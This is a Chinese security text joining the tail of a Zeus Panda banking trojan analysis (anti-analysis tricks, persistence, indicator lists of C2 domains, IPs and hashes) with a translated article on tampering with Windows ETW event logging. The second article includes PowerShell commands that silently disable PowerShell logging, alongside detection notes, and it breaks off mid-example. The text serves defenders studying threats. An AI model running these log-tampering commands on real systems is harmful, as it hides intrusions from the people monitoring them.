为阻止分析，其在初始阶段将使用无效参数，去调用数以百计的有效API。它还会利用结构化异常处理（SEH）来修补其自身的代码。它会多次查询和存储当前指针位置，以检测活动，并确定自身是否在沙盒或自动分析环境下执行。下面是使用无效参数的有效API调用的示例，其中获取指针位置的调用是有效的，而对ScreentoClient的调用则包含无效参数。
下面是一个虚假调用的例子，用来迷惑分析人员，增加分析该木马所需的时间和精力。我们经常看到用来迷惑反汇编器的无效操作，但在这里，由于它位于上百个结构之前，使得更难去识别有效的变量。
下面的截图展示了通过IDA自动填充和无用结构的列表。这些措施都是为了加大分析的难度，让分析人员无法从代码执行流的角度，分析出其真正意图。
每隔一段，我们能找到一个有效的和有用的操作。下面的EAX寄存器存储在一个变量中，以便之后再次使用，用来分配堆内存块，并启动它自己的解压缩代码。
该木马还是用了其它技术，使分析变得更加困难，比如创建了上百个条件比较，这使得跟踪代码更加困难。在下面的例子中，几个if条件语句的伪代码演示了这一过程，并说明了它是如何阻碍对代码的跟踪。
为了解密恶意代码，它安装了一个异常处理程序，负责解密一些内存字节，以继续执行。
下面是SEH刚刚被初始化：
在同一个例程中，它会执行以下代码的解密例程。我们还发现，大量的异常调用会导致一些沙盒崩溃，这也是防止自动化分析的一种手段。
一旦将数据解密并存储到以前分配的缓冲区中,它将使用已知机制（EnumDisplayMonitor的回调例程功能）在winmain中继续执行，方法是将回调例程的值设置为修复的内存。
在此执行过程中，恶意软件将继续修补自身并继续执行。
字符串使用XOR值进行加密，但是每个字符串都使用单独的XOR值来防止简单的检测机制。下面是一些可以用来解密字符串的IDA Python代码。
这段代码对应IDA字符串的解密及引用，0x1250EBD2对应解密例程，0x1251A560对应加密的字符串表。
通过下面这些注释，我们可以理解该木马中的不同功能。
对于API调用，它使用如下算法。这段代码可以在IDA中使用，以便对API调用进行注释。
该木马使用的通用函数，涉及以下参数：
**与模块对应的 DWORD 值；**
**对应于模块的加密字符串表的索引项（如果未加载）；**
**API本身的哈希值；**
**用于存储API调用地址的索引。**
下面是一个伪代码示例，它展示了如何执行API调用。仅仅是使用快照列表，查找内存中的进程。
一旦木马开始完全执行，它就会将一个可执行文件复制到以下位置：
C:Users<Username>AppDataRoamingMacromediaFlash
Playermacromedia.comsupportflashplayersys
它还会通过创建以下注册表项来保证持久性：
HKEY_USERS<SID>SoftwareMicrosoftWindowsCurrentVersionRunextensions.exe
它将此注册表项的数据值设置为由木马创建的路径/文件名。下面是数据值的一个示例：
"C:Users<Username>AppDataRoamingMacromediaFlash Playermacromedia.comsupportflashplayersysextensions.exe"s\0
在特殊情况下，创建的文件被命名为“extensions.exe”，但是我们已经发现其还会使用其他几个不同的文件名。
针对宙斯熊猫银行木马，如果日后有其他分析，将会在这里补充发布：
<https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf>
**总结**
攻击者不断尝试寻找新的方法来引诱用户运行病毒，这些病毒则可以感染受害者的计算机。通常来说，病毒邮件、诱骗点击和水坑攻击是较为常见的攻击方式。然而这一次，我们发现了另一个完整的攻击框架，通过“SERP投毒”使用户误点击特定网站，并感染宙斯木马。在这种情况下，攻击者必须确保其恶意链接在搜索引擎中排名较为靠上。
随着威胁的格局不断演变，攻击者不断在寻找新的攻击媒介。因此，如果具备一个健全的、分层的纵深防御策略，将有助于确保组织能够响应不断变化的威胁环境。需要提醒用户的是，必须时刻保持警惕，在点击链接前三思而行，不能对邮件附件或是搜索引擎的搜索结果产生盲目信任。
**病毒相关域名、IP及样本Hash**
**恶意文档域名：**
mikemuder[.]com
**恶意文档IP：**
67.195.61[.]46
**相关恶意域名：**
acountaxrioja[.]es
alpha[.]gtpo-cms[.]co[.]uk
arte-corp[.]jp
bellasweetboutique[.]com
billing[.]logohelp[.]com
birsan[.]com[.]tr
bitumast[.]com
bleed101[.]com
blindspotgallery[.]co[.]uk
blog[.]mitrampolin[.]com
calthacompany[.]com
cannonvalley[.]co[.]za
coinsdealer[.]pl
corvettescruisingalveston[.]com
craigchristian[.]com
dentopia[.]com[.]tr
dgbeauty[.]net
dressfortheday[.]com
evoluzionhealth[.]com
gemasach[.]com
japan-recruit[.]net
jaegar[.]jp
michaelleeclayton[.]com
www[.]academiaarena[.]com
www[.]bethyen[.]com
www[.]bioinbox[.]ro
www[.]distinctivecarpet.com
www[.]helgaleitner[.]at
www[.]gullsmedofstad[.]no
usedtextilemachinerylive[.]com
garagecodes[.]com
astrodestino[.]com[.]br
**中间重定向域名：**
dverioptomtut[.]ru
**Word文档文件名：**
nordea-sweden-bank-account-number.doc
al-rajhi-bank-working-hours-during-ramadan.doc
how-many-digits-in-karur-vysya-bank-account-number.doc
free-online-books-for-bank-clerk-exam.doc
how-to-cancel-a-cheque-commonwealth-bank.doc
salary-slip-format-in-excel-with-formula-free-download.doc
bank-of-baroda-account-balance-check.doc
bank-guarantee-format-mt760.doc
incoming-wire-transfer-td-bank.doc
free-online-books-for-bank-clerk-exam.doc
sbi-bank-recurring-deposit-form.doc
**Word文档Hash值：**
713190f0433ae9180aea272957d80b2b408ef479d2d022f0c561297dafcfaec2 (SHA256)
**PE32 URL：**
settleware[.]com/blog/wp-content/themes/inove/templates/html/krang.wwt
**PE32 Hash值：**
59b11483cb6ac4ea298d9caecf54c4168ef637f2f3d8c893941c8bea77c67868 (SHA256)
5f4c8191caea525a6fe2dddce21e24157f8c131f0ec310995098701f24fa6867 (SHA256)
29f1b6b996f13455d77b4657499daee2f70058dc29e18fa4832ad8401865301a (SHA256)
0b4d6e2f00880a9e0235535bdda7220ca638190b06edd6b2b1cba05eb3ac6a92 (SHA256)
**C2域名：**
hppavag0ab9raaz[.]club
havagab9raaz[.]club
**C2 IP：**
82.146.59[.]228 | 社区文章 |
# 针对 Windows 事件跟踪日志篡改的攻防研究
##### 译文声明
本文是翻译文章，文章原作者 palantir，文章来源：medium.com
原文地址：<https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
[Windows事件跟踪](https://blogs.msdn.microsoft.com/ntdebugging/2009/08/27/part-1-etw-introduction-and-overview/)(Event Tracing for
Windows,ETW)是Windows用于跟踪和记录系统事件的机制。攻击者经常通过清除事件日志来掩盖他们的踪迹。虽然清除事件日志会生成事件，但熟悉ETW的攻击者可能会利用篡改技术暂时中止甚至永久停止日志记录，并且整个过程不会生成任何事件日志。
Windows事件日志是Palantir应急小组的[警报和检测策略](https://medium.com/palantir/alerting-and-detection-strategy-framework-52dc33722df2)的数据源，因此熟悉事件日志篡改操作对我们至关重要。我们不断地评估关于事件数据源完整性的假设，记录盲点，并调整实现。这篇文章的目的是与社区分享ETW背景和基础知识、事件日志篡改技术和检测策略。
## ETW和事件日志
[ETW结构](https://docs.microsoft.com/en-us/windows/desktop/etw/about-event-tracing)分为三个部分：事件提供者(provider)、事件消费者(consumers)和事件跟踪会话(tracing
session)。跟踪会话负责从提供者收集事件，并传送到日志文件和消费者。会话由控制者(controller)创建和配置，比如内置的logman.exe命令行工具。下面是一些常用的命令，用于搜索现有的跟踪会话和各自的ETW提供者；请注意，这些命令通常需要足够的权限才能运行。
### 列出所有正在运行的跟踪会话
> logman query -ets
Data Collector Set Type Status
------------------------------------------------- Circular Kernel Context Logger Trace Running
AppModel Trace Running
ScreenOnPowerStudyTraceSession Trace Running
DiagLog Trace Running
EventLog-Application Trace Running
EventLog-System Trace Running
LwtNetLog Trace Running
NtfsLog Trace Running
TileStore Trace Running
UBPM Trace Running
WdiContextLog Trace Running
WiFiSession Trace Running
UserNotPresentTraceSession Trace Running
Diagtrack-Listener Trace Running
MSDTC_TRACE_SESSION Trace Running
WindowsUpdate_trace_log Trace Running
### 列出所有订阅跟踪会话的提供者
> logman query "EventLog-Application" -ets
Name: EventLog-Application
Status: Running
Root Path: %systemdrive%PerfLogsAdmin
Segment: Off
Schedules: On
Segment Max Size: 100 MB
Name: EventLog-ApplicationEventLog-Application
Type: Trace
Append: Off
Circular: Off
Overwrite: Off
Buffer Size: 64
Buffers Lost: 0
Buffers Written: 242
Buffer Flush Timer: 1
Clock Type: System
File Mode: Real-time
Provider:
Name: Microsoft-Windows-SenseIR
Provider Guid: {B6D775EF-1436-4FE6-BAD3-9E436319E218}
Level: 255
KeywordsAll: 0x0
KeywordsAny: 0x8000000000000000 (Microsoft-Windows-SenseIR/Operational)
Properties: 65
Filter Type: 0
Provider:
Name: Microsoft-Windows-WDAG-Service
Provider Guid: {728B02D9-BF21-49F6-BE3F-91BC06F7467E}
Level: 255
KeywordsAll: 0x0
KeywordsAny: 0x8000000000000000
Properties: 65
Filter Type: 0
...
Provider:
Name: Microsoft-Windows-PowerShell
Provider Guid: {A0C1853B-5C40-4B15-8766-3CF1C58F985A}
Level: 255
KeywordsAll: 0x0
KeywordsAny: 0x9000000000000000 (Microsoft-Windows-PowerShell/Operational,Microsoft-Windows-PowerShell/Admin)
Properties: 65
Filter Type: 0
该命令详细说明了跟踪会话的配置，还有每个订阅会话的提供者的配置，包括以下参数：
* Name: 提供者的名称。提供者只有在有已注册的manifest的情况下才有名称，但它始终具有唯一的GUID。
* Provider GUID: 提供者的GUID。在对特定提供者进行分析或操作时，GUID和（或）提供者的名称非常有用。
* Level: 指定日志记录级别。标准的日志记录级别是：0-Log Always；1- Critical；2-Error；3-Warning；4- Informational；5-Verbose。也可以自定义日志记录级别，但级别6-15是保留的。每个ORing级别可以捕获多个日志记录级别；通常使用255(0xFF)捕获所有支持的日志记录级别。
* KeywordsAll: 关键字用于筛选特定类别的事件。日志记录级别用于按事件详细/重要性进行筛选，而关键字允许按事件类别进行筛选。关键字对应于特定的位值。所有这些都表明，对于由KeywordsAny匹配的给定关键字，应该根据KeywordsAll中的特定位掩码进行进一步的筛选。这个字段通常设置为零。在[这里](https://docs.microsoft.com/en-us/windows/desktop/wes/defining-keywords-used-to-classify-types-of-events)可以找到更多信息。
* KeywordsAny：基于指定的任意关键字组合启用筛选。这可以看作是逻辑或，而KeywordsAll是逻辑和。低位的6个字节指定特定提供者的关键字。高位的两个字节是在Windows SDK中的WinMeta.xml中保留和定义的。例如，在与事件日志相关的跟踪会话中，可以看到设置为特定值的高位字节。这对应于下面的一个或多个事件通道：
0x01 - Admin channel
0x02 - Debug channel
0x04 - Analytic channel
0x08 - Operational channel
* Properties: 在写入事件时可以指定的可选ETW属性。目前支持的值(更多信息查看[这里](https://docs.microsoft.com/en-us/windows/desktop/ETW/enable-trace-parameters))：
0x001 - EVENT_ENABLE_PROPERTY_SID
0x002 - EVENT_ENABLE_PROPERTY_TS_ID
0x004 - EVENT_ENABLE_PROPERTY_STACK_TRACE
0x008 - EVENT_ENABLE_PROPERTY_PSM_KEY
0x010 - EVENT_ENABLE_PROPERTY_IGNORE_KEYWORD_0
0x020 - EVENT_ENABLE_PROPERTY_PROVIDER_GROUP
0x040 - EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0
0x080 - EVENT_ENABLE_PROPERTY_PROCESS_START_KEY
0x100 - EVENT_ENABLE_PROPERTY_EVENT_KEY
0x200 - EVENT_ENABLE_PROPERTY_EXCLUDE_INPRIVATE
从检测的角度来看，`EVENT_ENABLE_PROPERTY_SID`、`EVENT_ENABLE_PROPERTY_TS_ID`、`EVENT_ENABLE_PROPERTY_PROCESS_START_KEY`是值得收集的字段。例如，`EVENT_ENABLE_PROPERTY_PROCESS_START_KEY`生成唯一标识进程的值。注意，Process
ID不是进程实例的唯一标识符。
* 筛选器（Filter Type）：提供者可以选择其他筛选；支持的筛选器是在提供者manifest中定义的。实际上在所有注册的提供者上运行[TdhEnumerateProviderFilters](https://docs.microsoft.com/en-us/windows/desktop/api/tdh/nf-tdh-tdhenumerateproviderfilters)时，内置提供者都没有运行过滤器。eventprov.h(在Windows SDK中)中的一些预定义的筛选器类型：
0x00000000 - EVENT_FILTER_TYPE_NONE
0x80000000 - EVENT_FILTER_TYPE_SCHEMATIZED
0x80000001 - EVENT_FILTER_TYPE_SYSTEM_FLAGS
0x80000002 - EVENT_FILTER_TYPE_TRACEHANDLE
0x80000004 - EVENT_FILTER_TYPE_PID
0x80000008 - EVENT_FILTER_TYPE_EXECUTABLE_NAME
0x80000010 - EVENT_FILTER_TYPE_PACKAGE_ID
0x80000020 - EVENT_FILTER_TYPE_PACKAGE_APP_ID
0x80000100 - EVENT_FILTER_TYPE_PAYLOAD
0x80000200 - EVENT_FILTER_TYPE_EVENT_ID
0x80000400 - EVENT_FILTER_TYPE_EVENT_NAME
0x80001000 - EVENT_FILTER_TYPE_STACKWALK
0x80002000 - EVENT_FILTER_TYPE_STACKWALK_NAME
0x80004000 - EVENT_FILTER_TYPE_STACKWALK_LEVEL_KW
### 列出所有已注册的ETW提供者
`logman query
providers`命令列出所有已注册的ETW提供者，还有它们的名称和GUID。如果将二进制manifest保存在`HKLMSOFTWAREMicrosoftWindowsCurrentVersionWINEVTPublishers{PROVIDER_GUID}`注册表项中，则将注册ETW提供者。例如，`Microsoft-Windows-PowerShell`提供者具有以下注册表值：
ETW和事件日志知道如何根据在`ResourceFileName`注册表值中列出的二进制文件中的`WEVT_TEMPLATE`的序列化二进制信息正确地解析事件信息并向用户显示事件信息。该资源是[工具清单(instrumentation
manifest)](https://docs.microsoft.com/en-us/windows/desktop/wes/writing-an-instrumentation-manifest)的二进制表示。我们没有关于`WEVT_Template`二进制结构的说明文档，但至少有两个工具可用于帮助解析和恢复事件模式(event
schema)：[WEPExplorer](https://github.com/lallousx86/WEPExplorer)和[Perfview](https://github.com/Microsoft/perfview)。
### 单独查看提供者
logman打印提供者的基本信息。例如：
> logman query providers Microsoft-Windows-PowerShell
Provider GUID
---------------------------------------------------------------------- Microsoft-Windows-PowerShell {A0C1853B-5C40-4B15-8766-3CF1C58F985A}
Value Keyword Description
---------------------------------------------------------------------- 0x0000000000000001 Runspace PowerShell Runspace
0x0000000000000002 Pipeline Pipeline of Commands
0x0000000000000004 Protocol PowerShell remoting protocol
0x0000000000000008 Transport PowerShell remoting transport
0x0000000000000010 Host PowerShell remoting host proxy calls
0x0000000000000020 Cmdlets All remoting cmdlets
0x0000000000000040 Serializer The serialization layer
0x0000000000000080 Session All session layer
0x0000000000000100 Plugin The managed PowerShell plugin worker
0x0000000000000200 PSWorkflow PSWorkflow Hosting And Execution Layer
0x0001000000000000 win:ResponseTime Response Time
0x8000000000000000 Microsoft-Windows-PowerShell/Operational Microsoft-Windows-PowerShell/Operational
0x4000000000000000 Microsoft-Windows-PowerShell/Analytic Microsoft-Windows-PowerShell/Analytic
0x2000000000000000 Microsoft-Windows-PowerShell/Debug Microsoft-Windows-PowerShell/Debug
0x1000000000000000 Microsoft-Windows-PowerShell/Admin Microsoft-Windows-PowerShell/Admin
Value Level Description
-------------------------------------------------------------------- 0x02 win:Error Error
0x03 win:Warning Warning
0x04 win:Informational Information
0x05 win:Verbose Verbose
0x14 Debug Debug level defined by PowerShell (which is above Informational defined by system)
PID Image
---------------------------------------------------------------------- 0x00000730 C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
0x0000100c C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
结果显示了可用的关键字和日志记录值，以及通过该提供者注册发出事件的所有进程。这些输出对于了解现有跟踪会话如何在提供者上筛选非常有用，还有助于初步发现其他有趣的信息，这些信息可以通过ETW跟踪收集。
特别要注意的是，PowerShell提供者似乎支持基于在定义的关键字中的保留关键字进行日志记录。并不是所有的ETW提供者都用于事件日志；相反，许多ETW提供者只是用于低级别的跟踪、调试和最近应用的安全测试。例如，Windows
Defender Advanced Threat Protection严重依赖ETW作为补充的检测数据源。
### 查看所有接收特定进程事件的提供者
另一种发现目标提供者的方法是查看所有接收特定进程事件的提供者。例如，下面显示了与`MsMpEng.exe`(Windows
Defender服务，在本例中通过PID 5244运行)相关的所有提供者：
> logman query providers -pid 5244
Provider GUID
------------------------------------------------------------------------------- FWPUCLNT Trace Provider {5A1600D2-68E5-4DE7-BCF4-1C2D215FE0FE}
Microsoft-Antimalware-Protection {E4B70372-261F-4C54-8FA6-A5A7914D73DA}
Microsoft-Antimalware-RTP {8E92DEEF-5E17-413B-B927-59B2F06A3CFC}
Microsoft-Antimalware-Service {751EF305-6C6E-4FED-B847-02EF79D26AEF}
Microsoft-IEFRAME {5C8BB950-959E-4309-8908-67961A1205D5}
Microsoft-Windows-AppXDeployment {8127F6D4-59F9-4ABF-8952-3E3A02073D5F}
Microsoft-Windows-ASN1 {D92EF8AC-99DD-4AB8-B91D-C6EBA85F3755}
Microsoft-Windows-AsynchronousCausality {19A4C69A-28EB-4D4B-8D94-5F19055A1B5C}
Microsoft-Windows-CAPI2 {5BBCA4A8-B209-48DC-A8C7-B23D3E5216FB}
Microsoft-Windows-COM-Perf {B8D6861B-D20F-4EEC-BBAE-87E0DD80602B}
Microsoft-Windows-COM-RundownInstrumentation {2957313D-FCAA-5D4A-2F69-32CE5F0AC44E}
Microsoft-Windows-COMRuntime {BF406804-6AFA-46E7-8A48-6C357E1D6D61}
Microsoft-Windows-Crypto-BCrypt {C7E089AC-BA2A-11E0-9AF7-68384824019B}
Microsoft-Windows-Crypto-NCrypt {E8ED09DC-100C-45E2-9FC8-B53399EC1F70}
Microsoft-Windows-Crypto-RSAEnh {152FDB2B-6E9D-4B60-B317-815D5F174C4A}
Microsoft-Windows-Deplorch {B9DA9FE6-AE5F-4F3E-B2FA-8E623C11DC75}
Microsoft-Windows-DNS-Client {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}
Microsoft-Windows-Heap-Snapshot {901D2AFA-4FF6-46D7-8D0E-53645E1A47F5}
Microsoft-Windows-Immersive-Shell-API {5F0E257F-C224-43E5-9555-2ADCB8540A58}
Microsoft-Windows-Kernel-AppCompat {16A1ADC1-9B7F-4CD9-94B3-D8296AB1B130}
Microsoft-Windows-KnownFolders {8939299F-2315-4C5C-9B91-ABB86AA0627D}
Microsoft-Windows-MPS-CLNT {37945DC2-899B-44D1-B79C-DD4A9E57FF98}
Microsoft-Windows-Networking-Correlation {83ED54F0-4D48-4E45-B16E-726FFD1FA4AF}
Microsoft-Windows-NetworkProfile {FBCFAC3F-8459-419F-8E48-1F0B49CDB85E}
Microsoft-Windows-RPC {6AD52B32-D609-4BE9-AE07-CE8DAE937E39}
Microsoft-Windows-RPC-Events {F4AED7C7-A898-4627-B053-44A7CAA12FCD}
Microsoft-Windows-Schannel-Events {91CC1150-71AA-47E2-AE18-C96E61736B6F}
Microsoft-Windows-Shell-Core {30336ED4-E327-447C-9DE0-51B652C86108}
Microsoft-Windows-URLMon {245F975D-909D-49ED-B8F9-9A75691D6B6B}
Microsoft-Windows-User Profiles General {DB00DFB6-29F9-4A9C-9B3B-1F4F9E7D9770}
Microsoft-Windows-User-Diagnostic {305FC87B-002A-5E26-D297-60223012CA9C}
Microsoft-Windows-WebIO {50B3E73C-9370-461D-BB9F-26F32D68887D}
Microsoft-Windows-Windows Defender {11CD958A-C507-4EF3-B3F2-5FD9DFBD2C78}
Microsoft-Windows-WinHttp {7D44233D-3055-4B9C-BA64-0D47CA40A232}
Microsoft-Windows-WinRT-Error {A86F8471-C31D-4FBC-A035-665D06047B03}
Microsoft-Windows-Winsock-NameResolution {55404E71-4DB9-4DEB-A5F5-8F86E46DDE56}
Network Profile Manager {D9131565-E1DD-4C9E-A728-951999C2ADB5}
Security: SChannel {37D2C3CD-C5D4-4587-8531-4696C44244C8}
Windows Defender Firewall API {28C9F48F-D244-45A8-842F-DC9FBC9B6E92}
WMI_Tracing {1FF6B227-2CA7-40F9-9A66-980EADAA602E}
WMI_Tracing_Client_Operations {8E6B6962-AB54-4335-8229-3255B919DD0E}
{05F95EFE-7F75-49C7-A994-60A55CC09571} {05F95EFE-7F75-49C7-A994-60A55CC09571}
{072665FB-8953-5A85-931D-D06AEAB3D109} {072665FB-8953-5A85-931D-D06AEAB3D109}
{7AF898D7-7E0E-518D-5F96-B1E79239484C} {7AF898D7-7E0E-518D-5F96-B1E79239484C}
... output truncated ...
带有GUID的是缺少manifest的提供者。它们通常与[WPP](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/wpp-software-tracing)或[TraceLogging](https://docs.microsoft.com/en-us/windows/desktop/tracelogging/trace-logging-portal)有关，这些都超出了本文的范围。可以检索这些提供者类型的名称和事件元数据。例如，下面是解析后一些上面未命名提供者的名称：
* 05F95EFE-7F75–49C7-A994–60A55CC09571 Microsoft.Windows.Kernel.KernelBase
* 072665FB-8953–5A85–931D-D06AEAB3D109 Microsoft.Windows.ProcessLifetimeManage
* 7AF898D7–7E0E-518D-5F96-B1E79239484C Microsoft.Windows.Defender
## 事件提供者的内部
查看内置Windows二进制文件中的ETW相关代码，可以帮助你了解ETW事件是如何构造的，以及它们是如何在事件日志中显示的。下面是两个示例，`System.Management.Automation.dll`(PowerShell程序集核心)和`amsi.dll`。
### System.Management.Automation.dll事件跟踪
PowerShell v.5最大的安全特性之一是[scriptblock
autologging](https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/)；启用后，如果脚本包含任何可疑代码，则在`Microsoft-Windows-PowerShell/Operational`事件日志中自动记录脚本内容和事件ID 4104(警告级别)。执行以下C#代码以生成事件日志：
if (scriptBlock._scriptBlockData.HasSuspiciousContent)
{
PSEtwLog.LogOperationalWarning(PSEventId.ScriptBlock_Compile_Detail, PSOpcode.Create, PSTask.ExecuteCommand, PSKeyword.UseAlwaysAnalytic, new object[]
{
segment + 1,
segments,
textToLog,
scriptBlock.Id.ToString(),
scriptBlock.File ?? string.Empty
});
}
LogOperationalWarning方法实现如下：
internal static void LogOperationalInformation(PSEventId id, PSOpcode opcode, PSTask task, PSKeyword keyword, params object[] args)
{
PSEtwLog.provider.WriteEvent(id, PSChannel.Operational, opcode, PSLevel.Informational, task, keyword, args);
}
WriteEvent方法实现如下：
internal void WriteEvent(PSEventId id, PSChannel channel, PSOpcode opcode, PSLevel level, PSTask task, PSKeyword keyword, params object[] args)
{
long keywords;
if (keyword == PSKeyword.UseAlwaysAnalytic || keyword == PSKeyword.UseAlwaysOperational) {
keywords = 0L;
} else {
keywords = (long)keyword;
}
EventDescriptor eventDescriptor = new EventDescriptor((int)id, 1, (byte)channel, (byte)level, (byte)opcode, (int)task, keywords);
PSEtwLogProvider.etwProvider.WriteEvent(ref eventDescriptor, args);
}
最后整理事件信息，并调用[EventWriteTransfer](https://docs.microsoft.com/en-us/windows/desktop/api/evntprov/nf-evntprov-eventwritetransfer)，将事件数据发送给Microsoft-Windows-PowerShell提供者。
发送
给`EventWriteTransfer`的相关数据如下：
* Microsoft-Windows-PowerShell提供者的GUID: `{A0C1853B-5C40-4b15-8766-3CF1C58F985A}`
* Event ID: `PSEventId.ScriptBlock_Compile_Detail - 4104`
* 通道值（Channel value）：`PSChannel.Operational - 16`，使用通道值表明提供者将被事件日志一起使用。[这里](https://github.com/PowerShell/PowerShell-Native/blob/master/src/PowerShell.Core.Instrumentation/PowerShell.Core.Instrumentation.man#L2194-L2202)可以查看PowerShell ETW manifest的通道定义。当未提供显式通道值时，[Message Compiler](https://docs.microsoft.com/en-us/windows/desktop/wes/message-compiler--mc-exe-)(mc.exe)将分配从16开始的默认值。由于首先定义了操作通道，因此分配了16条。
* Opcode值（Opcode value）: `PSOpcode.Create - 15`
* 日志记录级别（Logging Level）: `PSLevel.Warning - 3`
* 任务值（Task value）: `PSTask.CommandStart-102`
* 关键字值（Keyword value）:`PSKeyword.UseAlwaysAnalytic-0x40000000000000`。如上面的代码块所示，这个值之后被转换为0。通常情况下，不会记录这个事件，但是因为应用程序事件日志跟踪会话为其所有提供者设置了`EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0 Enable`，尽管未指定关键字值，但所有提供者都将记录该事件。
* 事件数据（Event data）：代码内容和事件字段
PowerShell ETW提供者接收到事件后，事件日志服务将解析二进制`WEVT_TEMPLATE` schema([原始XML
schema](https://github.com/PowerShell/PowerShell-Native/blob/master/src/PowerShell.Core.Instrumentation/PowerShell.Core.Instrumentation.man))，并显示可读的、已解析的事件属性/字段：
### amsi.dll事件跟踪
你可能已经注意到Windows
10有一个通常为空的AMSI/Operational事件日志。要理解为什么没有将事件记录到该事件日志，必须首先检查数据如何被输入AMSI
ETW提供者(`Microsoft-Antimalware-Scan-Interface -{2A576B87-09A7-520E-C21A-4942F0271D67}`)，然后观察事件日志跟踪会话(`EventLog-Application`)如何订阅AMSI ETW提供者。我们首先查看事件日志中的提供者注册情况。使用以下PowerShell命令查看：
> Get-EtwTraceProvider -SessionName EventLog-Application -Guid '{2A576B87-09A7-520E-C21A-4942F0271D67}'
SessionName : EventLog-Application
Guid : {2A576B87-09A7-520E-C21A-4942F0271D67}
Level : 255
MatchAnyKeyword : 0x8000000000000000
MatchAllKeyword : 0x0
EnableProperty : {EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0, EVENT_ENABLE_PROPERTY_SID}
注意下面的信息：
* 捕获操作通道事件(由MatchAnyKeyword值的0x8000000000000000设置)
* 捕获所有日志记录级别
* 即使事件关键字值为零，也应该捕获事件，通过`EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0`设置。
这些信息本身并不说明为什么AMSI事件不被记录，但它提供了在检查amsi.dll如何将事件写入ETW时所需的上下文信息。把amsi.dl加载到IDA中，我们可以看到`CAmsiAntimalware::GenerateEtwEvent`函数中有一个对`EventWrite`函数的调用：
调用`EventWrite`的相关部分是`EventDescriptor`参数。以下是一些关于将`EVENT_DESCRIPTOR`结构类型应用于`_AMSI_SCANBUFFER`的信息：
EventDescriptor上下文提供了相关信息：
* 事件ID（Event ID）：1101(0x44D)，事件的详细信息可以从提取的manifest中获取，[这里](https://gist.github.com/mattifestation/6b3bbbea56cfc01bbfed9f74d94db618#file-microsoft-antimalware-scan-interface-manifest-xml-L12-L25)。
* 通道（Channel）：16(0x10)，操作事件日志通道
* 级别（Level）：4(Informational)
* 关键词（Keyword）：0x80000000000001(AMSI/Operationor Event1)。这些值是通过运行`logman query providers Microsoft-Antimalware-Scan-Interface`命令得到的。
现在我们了解到，1101事件没有被记录到`ApplicationEvent`日志，因为它只考虑关键字值与`0x8000000000000000`匹配的事件。为了解决这个问题并将事件写入事件日志，需要修改事件日志跟踪会话(不建议使用，并且需要SYSTEM权限)，也可以创建自己的持久跟踪会话(例如[autologger](https://docs.microsoft.com/en-us/windows/desktop/etw/configuring-and-starting-an-autologger-session))，以便在事件日志中捕获AMSI事件。下面的PowerShell脚本创建这样一个跟踪会话：
$AutoLoggerGuid = "{$((New-Guid).Guid)}"
New-AutologgerConfig -Name MyCustomAutoLogger -Guid $AutoLoggerGuid -Start Enabled
Add-EtwTraceProvider -AutologgerName MyCustomAutoLogger -Guid '{2A576B87-09A7-520E-C21A-4942F0271D67}' -Level 0xff -MatchAnyKeyword 0x80000000000001 -Property 0x41
运行上述命令后，重新启动，将开始写入AMSI事件日志。
逆向分析显示，`scanResult`字段引用的是`AMSI_RESULT`
enum，在本例中，32768映射到`AMSI_RESULT_DETECTED`，这表明缓冲区(内容字段中的Unicode编码缓冲区)被确定为是恶意的。
如果不了解ETW的内部结构，防御者就无法确定是否可以将额外的数据源(在本例中为AMSI日志)输入到事件日志中。同时不得不猜测AMSI事件是如何被错误配置的，以及错误配置是否是故意的。
## ETW篡改技术
如果攻击者的目标是破坏事件日志记录，那么ETW提供了一种隐蔽的机制来保护日志记录，而不会生成事件日志跟踪。下面是部分篡改技术，攻击者可以使用这些技术来切断特定事件日志的事件来源。
1. 持久性——需要重新启动。也就是说，在攻击生效之前必须重新启动。更改可以恢复，但需要重新启动。这些攻击涉及更改[autologger](https://docs.microsoft.com/en-us/windows/desktop/etw/configuring-and-starting-an-autologger-session)，持久化ETW跟踪会话和注册表中的设置。与暂时的攻击相比，持久性攻击的类型更多，而且它们通常更容易被检测到。
2. 暂时的——也就是说，可以在不重新启动的情况下攻击。
## 删除autologger提供者
**篡改类别：** 持久性, 需要重启
**最低权限：** Administrator
**检测方法：** 删除注册表项:
HKLMSYSTEMCurrentControlSetControlWMIAutologgerAUTOLOGGER_NAME{PROVIDER_GUID}
**描述：** 这项技术涉及从配置的autologger中删除提供者条目。从autologger中删除提供者注册将导致事件停止传输相应的跟踪会话。
**示例：** 下面的PowerShell代码禁用Microsoft-WindowsPowerShell事件日志记录：
Remove-EtwTraceProvider -AutologgerName EventLog-Application -Guid '{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'
在上面的例子中，`A0C1853B-5C40-4B15-8766-3CF1C58F985A`引用了MicrosoftWindows-PowerShell
ETW提供者。该命令最终会删除`HKLMSystemCurrentControlSetControlWMIAutologgerEventLog-Application{a0c1853b-5c40-4b15-8766-3cf1c58f985a}`注册表项。
## 修改提供者“Enable”属性
**篡改类别：** 持久性, 需要重启
**最低权限：** Administrator
**检测方法：**
删除注册表项：`HKLMSYSTEMCurrentControlSetControlWMIAutologgerAUTOLOGGER_NAME{PROVIDER_GUID}-EnableProperty(REG_DWORD)`
**描述：** 这种技术涉及autologger的Enable关键字。例如，默认情况下，`EventLog-Application`
autoologger会话中的所有ETW提供者项都设置为0x41，这将转换为`EVENT_ENABLE_PROPERTY_SID`和`EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0`。`事件_Enable_Property_Enable_关键字_0`没有文档说明；它指定即使关键字值设置为0，也应该记录为提供者生成的任何事件。攻击者可以将`EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0`替换为`Event_Enable_Property_NORE_KEKEY_0`，结果值为0x11，这将导致所有关键字为0的事件不启用日志记录。例如，PowerShell事件在其事件中提供了一个0关键字值，导致禁用了PowerShell事件日志。
**示例：** 下面的PowerShell代码禁用Microsoft-WindowsPowerShell事件日志记录：
